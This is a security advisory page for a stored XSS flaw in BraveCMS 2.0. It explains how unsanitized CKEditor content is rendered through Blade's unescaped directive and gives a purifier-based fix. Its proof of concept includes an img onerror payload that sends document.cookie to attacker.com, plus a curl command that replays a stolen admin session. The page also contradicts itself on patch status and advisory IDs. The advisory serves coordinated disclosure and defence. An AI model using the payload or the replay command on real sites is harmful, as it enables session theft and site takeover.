Back to advisories
CVE-2026-41524 GHSA-2j4q-6p52-4rhw High CVSS 8.7

Stored XSS in BraveCMS Page and Article Content

A stored Cross-Site Scripting (XSS) vulnerability in BraveCMS 2.0 allows attackers to inject malicious JavaScript into page or article content, which is executed in the browser of any user who views the affected page. This can lead to session hijacking, account takeover, or unauthorized actions performed on behalf of victims.

Affected: BraveCMS 2.0 Vendor: BraveCMS Discovered: Reported: Apr 16, 2026 Patched: Apr 16, 2026 Reporter: Stefan Mitocaru
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N

Details

BraveCMS stores page and article body content entered through the CKEditor rich-text editor verbatim in the database, with no HTML sanitization applied at write or read time. The content is later rendered using Laravel Blade's unescaped output directive {!! !!}, causing any JavaScript injected by an editor-role user to execute permanently in every visitor's browser upon page load. If the victim is an administrator, their session cookie can be replayed to take full control of the CMS.


Summary

Field Value
CVE ID CVE-2026-41524
Advisory GHSA-xj46-722x-6433
Severity High
CWE CWE-79 (Stored Cross-site Scripting)
Package BraveCMS-2.0 (PHP)
Affected 2.0
Patched None
Vulnerability Stored XSS via unsanitized CKEditor output
Impact Session hijacking, full CMS takeover via admin cookie theft

Article and page content submitted through the CKEditor rich-text editor is saved to the database without any sanitization. When the content is retrieved and rendered in the front-end templates, it passes through Laravel Blade's {!! !!} directive, which explicitly bypasses HTML escaping and outputs the stored string raw. An author-level user can inject arbitrary JavaScript that will execute in the browser of every visitor who loads the affected page, including administrators.


How it works

The vulnerability is a combination of two missing controls: no sanitization at write time and unsafe rendering at read time.

On the write path, the controller saves the raw request body directly to the database:

// Controller stores content verbatim, no sanitization
$article->content = $request->input('content');
$article->save();

On the read path, the Blade templates render the stored content with the unescaped directive across all four affected template files:

{{-- Unescaped output: raw HTML including any injected scripts is sent to the browser --}}
{!! $page->content !!}
{!! $article->content !!}

Laravel's {{ }} directive would HTML-encode the output and neutralize any injected markup. The {!! !!} directive does the opposite: it sends the stored string to the browser exactly as it was saved, treating it as trusted HTML. Because the content originates from user input, this trust is misplaced.


Root Cause

The application intentionally uses {!! !!} to preserve the rich HTML formatting that CKEditor produces. This is a common pattern, but it is only safe when the HTML has been sanitized through an allowlist-based purifier before storage or before rendering. Neither step is present here. The CKEditor toolbar gives authors the ability to insert arbitrary HTML, and the template renders whatever they submit without filtering.


Prerequisites

  • A valid BraveCMS account with at least Author privileges.
  • Access to the article or page creation and editing endpoints.
  • A victim must load the published page for the payload to execute in their browser.

Fix

Two approaches are available depending on whether rich HTML output is required.

If only plain text is needed, replace the unescaped directive with the safe escaped version across all four affected templates:

{{-- Before (vulnerable): raw HTML output --}}
{!! $page->content !!}

{{-- After (safe for plain text): HTML-encoded output --}}
{{ $page->content }}

If rich HTML formatting must be preserved, integrate an allowlist-based HTML purifier such as mews/purifier and sanitize the content before rendering:

composer require mews/purifier
{{-- After (safe for rich HTML): sanitized output through an allowlist purifier --}}
{!! Purifier::clean($page->content) !!}
{!! Purifier::clean($article->content) !!}

The purifier strips any tag or attribute not explicitly permitted by the allowlist, including <script>, event handler attributes (onerror, onload, onclick), and javascript: URIs, while preserving legitimate formatting elements such as headings, paragraphs, lists, and links.

Apply the same fix to all four affected templates and audit any other {!! !!} usage across the codebase for additional occurrences of user-supplied data being rendered without sanitization.


Key Takeaways

  • Using {!! !!} in Laravel Blade is a deliberate opt-out of output encoding. Every instance that renders user-supplied data must be paired with a sanitization step; there are no exceptions.
  • Rich HTML support and security are not mutually exclusive, but they require an explicit allowlist-based purifier. Relying on the editor to produce safe HTML is not a control.
  • Stored XSS is more severe than reflected XSS. The payload is delivered to every visitor without any further attacker involvement, and it persists until the content is deleted or sanitized. A single poisoned article can compromise every administrator session that visits it.
  • Author-level accounts are a meaningful attack surface. In any CMS where editor accounts can publish content that administrators review, stored XSS in the content body is a reliable path to privilege escalation.

Proof of Concept

Proof of Concept Sanitized for safety
Note: This proof of concept is published for educational and defensive purposes after coordinated disclosure. Do not use it against systems you do not own or have explicit permission to test.

Authenticate to the dashboard as an Author. Navigate to /dashboard/articles/create/add or open any existing article for editing. Intercept the form submission and modify the CKEditor body field, inserting the following payload:

<img src/onerror=fetch('https://attacker.com/steal?c='+document.cookie);>

Submit the form. The raw HTML is written to the articles table without modification.

When a victim loads the published article, the browser attempts to load the <img> element. The src attribute is empty, so the load fails immediately, triggering onerror. The handler executes a fetch request to the attacker's server with the victim's session cookie appended as a query parameter:

GET /steal?c=laravel_session=eyJpdiI6Ik...abc123 HTTP/1.1
Host: attacker.com

The attacker reads their access log and extracts the session token.

If the victim is an administrator, the attacker replays the stolen cookie to authenticate as them:

curl -s 'https://target.com/dashboard' \
  -b 'laravel_session=eyJpdiI6Ik...abc123' \
  | grep -i 'admin\|dashboard'

Full CMS access is now available without credentials. The attacker can publish further content, install plugins, manage users, or embed additional payloads to make the compromise self-replicating across all published articles.

Start securing your codebase today

Connect your repositories and let AI agents handle continuous scanning, research, and triage.

Have questions? Get in touch →